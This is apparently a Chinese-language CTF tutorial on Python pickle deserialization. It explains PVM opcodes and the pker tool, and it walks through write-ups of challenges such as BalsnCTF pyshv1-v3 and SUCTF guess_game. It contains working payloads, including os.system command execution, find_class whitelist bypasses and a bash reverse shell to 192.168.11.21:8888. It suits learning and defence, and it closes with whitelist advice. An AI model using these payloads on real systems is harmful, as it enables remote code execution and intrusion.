最近遇到有关pickle的CTF题,虽然被很多师傅们玩的差不多了,但是我也仔细学习了一波,尽可能详细地总结了pickle反序列化的相关知识。整篇文章介绍了pickle的基本原理、PVM、opcode解析的详细过程、CTF赛题实战和pker工具的使用,希望这篇文章能给初学pickle反序列化知识的童鞋带来帮助。文章内容比较多,如果文章中出现了错误请师傅们指正。
None
、 True
和 False
__dict__
属性值或 __getstate__()
函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)object.__reduce__()
函数object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__()
返回一个 (callable, ([para1,para2...])[,...])
的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。R
的作用与 object.__reduce__()
关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R
正好对应 object.__reduce__()
函数, object.__reduce__()
的返回值会作为 R
的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R
的。PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 .
停止。最终留在栈顶的值将被作为反序列化对象返回。
memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value
的形式储存在memo中,以便后来使用。
为了便于理解,我把BH讲稿中的相关部分制成了动图,PVM解析 str
的过程动图:
__reduce__()
的过程动图:import pickle a={'1': 1, '2': 2} print(f'# 原变量:{a!r}') for i in range(4): print(f'pickle版本{i}',pickle.dumps(a,protocol=i)) # 输出: pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.' pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.' pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.' pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
# 'abcd' b'\x80\x03X\x04\x00\x00\x00abcdq\x00.' # \x80:协议头声明 \x03:协议版本 # \x04\x00\x00\x00:数据长度:4 # abcd:数据 # q:储存栈顶的字符串长度:一个字节(即\x00) # \x00:栈顶位置 # .:数据截止
Opcode | Mnemonic | Data type loaded onto the stack | Example |
---|---|---|---|
S | STRING | String | S'foo'\n |
V | UNICODE | Unicode | Vfo\u006f\n |
I | INTEGER | Integer | I42\n |
... | ... | ... | ... |
import pickletools data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03." pickletools.dis(data) 0: \x80 PROTO 3 2: c GLOBAL 'builtins exec' 17: q BINPUT 0 19: X BINUNICODE "key1=b'1'\nkey2=b'2'" 43: q BINPUT 1 45: \x85 TUPLE1 46: q BINPUT 2 48: R REDUCE 49: q BINPUT 3 51: . STOP highest protocol among opcodes = 2
import pickle import os class genpoc(object): def __reduce__(self): s = """echo test >poc.txt""" # 要执行的命令 return os.system, (s,) # reduce函数必须返回元组或字符串 e = genpoc() poc = pickle.dumps(e) print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
import pickle key1 = b'321' key2 = b'123' class A(object): def __reduce__(self): return (exec,("key1=b'1'\nkey2=b'2'",)) a = A() pickle_a = pickle.dumps(a) print(pickle_a) pickle.loads(pickle_a) print(key1, key2)
__reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。为了充分理解栈的作用,强烈建议一边看动图一边学习opcode的作用:
由于pickle库中的注释不是很详细,网上的其他资料也没有具体地把栈和memo上的变化讲清楚,以下的每个opcode的操作都是我经过实验验证并且尽可能将栈和memo上的变化解释清楚,常用的opcode如下:
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
此外, TRUE
可以用 I
表示: b'I01\n'
; FALSE
也可以用 I
表示: b'I00\n'
,其他opcode可以在pickle库的源代码中找到。
由这些opcode我们可以得到一些需要注意的地方:
append
对应a
、extend
对应e
;字典的update
对应u
)。c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库。getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c
、i
。而如何查值也是CTF的一个重要考点。s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对。将第一个pickle流结尾表示结束的 .
去掉,将第二个pickle流与第一个拼接起来即可。
python源码:
# secret.py name='TEST3213qkfsmfo'
# main.py import pickle import secret opcode='''c__main__ secret (S'name' S'1' db.''' print('before:',secret.name) output=pickle.loads(opcode.encode()) print('output:',output) print('after:',secret.name)
首先,通过 c
获取全局变量 secret
,然后建立一个字典,并使用 b
对secret进行属性设置,使用到的payload:
opcode='''c__main__ secret (S'name' S'1' db.'''
与函数执行的opcode有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
R
:b'''cos system (S'whoami' tR.'''
i
:b'''(S'whoami' ios system .'''
o
:b'''(cos system S'whoami' o.'''
实例化对象是一种特殊的函数执行,这里简单的使用 R
构造一下,其他方式类似:
class Student: def __init__(self, name, age): self.name = name self.age = age data=b'''c__main__ Student (S'XiaoMing' S"20" tR.''' a=pickle.loads(data) print(a.name,a.age)
pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:
# linux(注意posix): b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.' # windows(注意nt): b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
pickle.Unpickler.find_class()
由于官方针对pickle的安全问题的建议是修改find_class()
,引入白名单的方式来解决,很多CTF题都是针对该函数进行,所以搞清楚如何绕过该函数很重要。
什么时候会调用find_class()
:
c
、i
、b'\x93'
时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。find_class()
只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()
就不会再调用,也就是说find_class()
只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__
绕过一些黑名单。 下面先看两个例子:
safe_builtins = {'range','complex','set','frozenset','slice',} class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name in safe_builtins: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': # 只允许__main__模块 return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
{'range','complex','set','frozenset','slice',}
。__main__
模块。虽然看起来很安全,但是被引入主程序的模块都可以通过__main__
调用修改,所以造成了变量覆盖。由这两个例子我们了解到,对于开发者而言,使用白名单谨慎列出安全的模块则是规避安全问题的方法;而如何绕过find_class
函数内的限制就是pickle反序列化解题的关键。
此外,CTF中的考察点往往还会结合python的基础知识(往往是内置的模块、属性、函数)进行,考察对白名单模块的熟悉程度,所以做题的时候可以先把白名单模块的文档看一看:)
题目将pickle能够引入的模块限定为builtins
,并且设置了子模块黑名单:{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
,于是我们能够直接利用的模块有:
builtins
模块中,黑名单外的子模块。import
的模块:io
、builtins
(需要先利用builtins
模块中的函数)黑名单中没有getattr
,所以可以通过getattr
获取io
或builtins
的子模块以及子模块的子模块:),而builtins
里有eval、exec
等危险函数,即使在黑名单中,也可以通过getattr
获得。pickle不能直接获取builtins
一级模块,但可以通过builtins.globals()
获得builtins
;这样就可以执行任意代码了。payload为:
b'''cbuiltins getattr p0 (cbuiltins dict S'get' tRp1 cbuiltins globals )Rp2 00g1 (g2 S'builtins' tRp3 0g0 (g3 S'eval' tR(S'__import__("os").system("whoami")' tR. '''
因为题目是黑盒,所以没有黑白名单限制,直接改cookie反弹shell即可。payload:
b'''cos system (S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'" tR. '''
限制中,改写了find_class
函数,只能生成__main__
模块的pickle:
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': # 只允许__main__模块 return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
此外,禁止了b'R'
:
try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
目标是覆盖secret中的验证,由于secret被主程序引入,是存在于__main__
下的secret模块中的,所以可以直接覆盖掉,此时就成功绕过了限制:
b'''c__main__ secret (S'name' S"1" S"category" S"2" db0(S"1" S"2" i__main__ Animal .'''
除了以上这些题外,还有BalsnCTF:pyshv1-v3和SUCTF-2019:guess_game四道题,由于手动写还是比较麻烦,在后文中使用pker工具完成。
引用自https://xz.aliyun.com/t/7012#toc-5:
- 变量赋值:存到memo中,保存memo下标和变量名即可
- 函数调用
- 类型字面量构造
- list和dict成员修改
- 对象成员变量修改
具体来讲,可以使用pker进行原变量覆盖、函数执行、实例化新的对象。
GLOBAL、INST、OBJ
三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:以下module都可以是包含`.`的子module 调用函数时,注意传入的参数类型要和示例一致 对应的opcode会被生成,但并不与pker代码相互等价 GLOBAL 对应opcode:b'c' 获取module下的一个全局对象(没有import的也可以,比如下面的os): GLOBAL('os', 'system') 输入:module,instance(callable、module都是instance) INST 对应opcode:b'i' 建立并入栈一个对象(可以执行一个函数): INST('os', 'system', 'ls') 输入:module,callable,para OBJ 对应opcode:b'o' 建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)): OBJ(GLOBAL('os', 'system'), 'ls') 输入:callable,para xxx(xx,...) 对应opcode:b'R' 使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用) li[0]=321 或 globals_dic['local_var']='hello' 对应opcode:b's' 更新列表或字典的某项的值 xx.attr=123 对应opcode:b'b' 对xx对象进行属性设置 return 对应opcode:b'0' 出栈(作为pickle.loads函数的返回值): return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
注意:
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。S
时,总是用单引号包裹字符串,并且会把\
去掉。所以在写pker代码时最好只用单引号写法,并且字符串内不能包含单引号。如果实在需要单引号,应该手动添加斜杠:GLOBAL('os', 'system') # 正确写法 a='as"sf"ds' # 正确写法 a='as\'sf\'ds' # 由于单引号会被去除,会出错 GLOBAL("os", 'system') # 不推荐的写法 a="as'sfds'" # 不推荐的写法,此时会出错
secret
模块中的name
与category
变量:secret=GLOBAL('__main__', 'secret') # python的执行文件被解析为__main__对象,secret在该对象从属下 secret.name='1' secret.category='2'
game = GLOBAL('guess_game', 'game') game.curr_ticket = '123'
接下来会给出一些具体的基本操作的实例。
b'R'
调用:s='whoami' system = GLOBAL('os', 'system') system(s) # `b'R'`调用 return
b'i'
调用:INST('os', 'system', 'whoami')
b'c'
与b'o'
调用:OBJ(GLOBAL('os', 'system'), 'whoami')
INST('[module]', '[callable]'[, par0,par1...]) OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
animal = INST('__main__', 'Animal','1','2') return animal # 或者 animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2') return animal
class Animal: def __init__(self, name, category): self.name = name self.category = category
animal = INST('__main__', 'Animal') animal.name='1' animal.category='2' return animal
.
去掉,两者拼接起来即可。解析思路见前文手写opcode的CTF实战部分,pker代码为:
getattr=GLOBAL('builtins','getattr') dict=GLOBAL('builtins','dict') dict_get=getattr(dict,'get') glo_dic=GLOBAL('builtins','globals')() builtins=dict_get(glo_dic,'builtins') eval=getattr(builtins,'eval') eval('print("123")') return
题目的find_class
只允许sys
模块,并且对象名中不能有.
号。意图很明显,限制子模块,只允许一级模块。
sys
模块有一个字典对象modules
,它包含了运行时所有py程序所导入的所有模块,并决定了python引入的模块,如果字典被改变,引入的模块就会改变。modules
中还包括了sys
本身。我们可以利用自己包含自己这点绕过限制,具体过程为:
sys
自身被包含在自身的子类里,我们可以利用这点使用s
赋值,向后递进一级,引入sys.modules
的子模块:sys.modules['sys']=sys.modules
,此时就相当于sys=sys.modules
。这样我们就可以利用原sys.modules
下的对象了,即sys.modules.xxx
。 modules
的get
函数,然后类似于上一步,再使用s
把modules
中的sys
模块更新为os
模块:sys['sys']=sys.get('os')
。c
获取system
,之后就可以执行系统命令了。整个利用过程还是很巧妙的,pker代码为:
modules=GLOBAL('sys', 'modules') modules['sys']=modules modules_get=GLOBAL('sys', 'get') os=modules_get('os') modules['sys']=os system=GLOBAL('sys', 'system') system('whoami') return
与v1类似,题目的find_class
只允许structs
模块,并且对象名中不能有.
号,只允许一级模块。其中,structs
是个空模块。但是在find_class
中调用了__import__
函数:
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(') module = __import__(module) # 注意这里调用了__import__ return getattr(module, name)
注意python的以下几条性质:
__builtins__
是所有模块公有的字典,记录所有内建函数,可以通过对__builtins__
内相应key对应函数的修改劫持相应的函数。由于题目调用了__import__
函数,我们可以通过修改__import__
劫持getattr
函数。__dict__
列表储存并决定了一个对象的所有属性,如果其内容被改变,属性也会改变。c
的实现过程调用了find_class
函数(顺带一提,它实际上是先import
再调用find_class
,但是由于python的import语句其实是使用了五个参数调用的__import
,无法利用),而本题的find_class
中多调用了一次__imoprt__
,随后调用getattr
,这包含了一个查值的过程,这一点很重要。然后我们理一下利用过程:
structs.__builtins__['eval']
→需要structs.__builtins__.get
函数。__import__
为structs.__getattribute__
,opcodecstructs
变为structs.__getattribute__(structs).xxx
。structs.__getattribute__(structs)
要返回structs.__builtins__
;xxx则设置为get。structs.__dict__
对structs
赋值新属性structs.structs
为structs.__builtins__
,以便structs.__getattribute__(structs)
返回structs.__builtins__
。pker实现:
__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict __builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__ __builtins__['__import__'] = gtat # 劫持__import__函数 __dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__ builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get eval = builtin_get('eval') # structs.structs['eval'](即__builtins__['eval'] eval('print(123)') return
v3的find_class
与v1类似,并限制了structs
模块,与v1和v2不同的是,v3的flag是由程序读取的,不用达到RCE权限。关键代码为:
class Pysh(object): def __init__(self): self.key = os.urandom(100) self.login() self.cmds = { 'help': self.cmd_help, 'whoami': self.cmd_whoami, 'su': self.cmd_su, 'flag': self.cmd_flag, } def login(self): with open('../flag.txt', 'rb') as f: flag = f.read() flag = bytes(a ^ b for a, b in zip(self.key, flag)) user = input().encode('ascii') user = codecs.decode(user, 'base64') user = pickle.loads(user) print('Login as ' + user.name + ' - ' + user.group) user.privileged = False user.flag = flag self.user = user def run(self): while True: req = input('$ ') func = self.cmds.get(req, None) if func is None: print('pysh: ' + req + ': command not found') else: func() ... def cmd_flag(self): if not self.user.privileged: print('flag: Permission denied') else: print(bytes(a ^ b for a, b in zip(self.user.flag, self.key))) if __name__ == '__main__': pysh = Pysh() pysh.run()
程序先进行一次pickle反序列化,self.user.privileged
被设置为False
,然后进入命令执行循环流程,而且提供cmd_flag
函数,如果self.user.privileged
为True
,就会返回flag。
当类实现了__get__
、__set__
和__delete__
任一方法时,该类被称为“描述器”类,该类的实例化为描述器。对于一个某属性为描述器的类来说,其实例化的对象在查找该属性或设置属性时将不再通过__dict__
,而是调用该属性描述器的__get__
、__set__
或__delete__
方法。需要注意的是,一个类必须在声明时就设置属性为描述器,使之成为类属性,而不是对象属性,此时描述器才能起作用。
所以,如果我们设置User
类的__set__
函数,它就成为了描述器;再将它设置为User
类本身的privileged
属性时,该属性在赋值时就会调用__set__
函数而不会被赋值,从而绕过赋值获得flag。
pker代码为:
User=GLOBAL('structs','User') User.__set__=GLOBAL('structs','User') # 使User成为描述器类 des=User('des','des') # 描述器 User.privileged=des # 注意此处必须设置描述器为类的属性,而不是实例的属性 user=User('hachp1','hachp1') # 实例化一个User对象 return user
解析思路见前文手写opcode的CTF实战部分,pker代码为:
system=GLOBAL('os', 'system') system('bash -c "bash -i >& /dev/tcp/192.168.11.21/8888 0>&1"') return
题目是一个猜数字游戏,每次对输入的数据反序列化作为ticket,并与随机生成的ticket进行对比,猜对10次就给flag。find_class
函数限制了guess_game
模块并禁止了下划线(魔术方法、变量):
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # Only allow safe classes if "guess_game" == module[0:10] and "__" not in name: return getattr(sys.modules[module], name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
直接作弊用pickle改game.ticket
为猜测的ticket,然后把win_count
和round_count
都改为9(因为还要进行一轮,round_count
必须大于10才会出现输赢判断,而给flag的依据是win_count
等于10轮),pickle伪代码:
ticket=INST('guess_game.Ticket','Ticket',(1)) game=GLOBAL('guess_game','game') game.win_count=9 game.round_count=9 game.curr_ticket=ticket return ticket
解析思路见前文手写opcode的CTF实战部分,pker代码为:
secret=GLOBAL('__main__', 'secret') # python的执行文件被解析为__main__对象,secret在该对象从属下 secret.name='1' secret.category='2' animal = INST('__main__', 'Animal','1','2') return animal
Unpickler.find_class()
方法,引入白名单的方式来解决,并且给出警告:对于允许反序列化的对象必须要保持警惕。对于开发者而言,如果实在要给用户反序列化的权限,最好使用双白名单限制module
和name
并充分考虑到白名单中的各模块和各函数是否有危险。find_class
函数,即c
、i
等opcode,如何根据特有的魔术方法、属性等找到突破口是关键;此外,在利用过程中,往往会借助getattr
、get
等函数。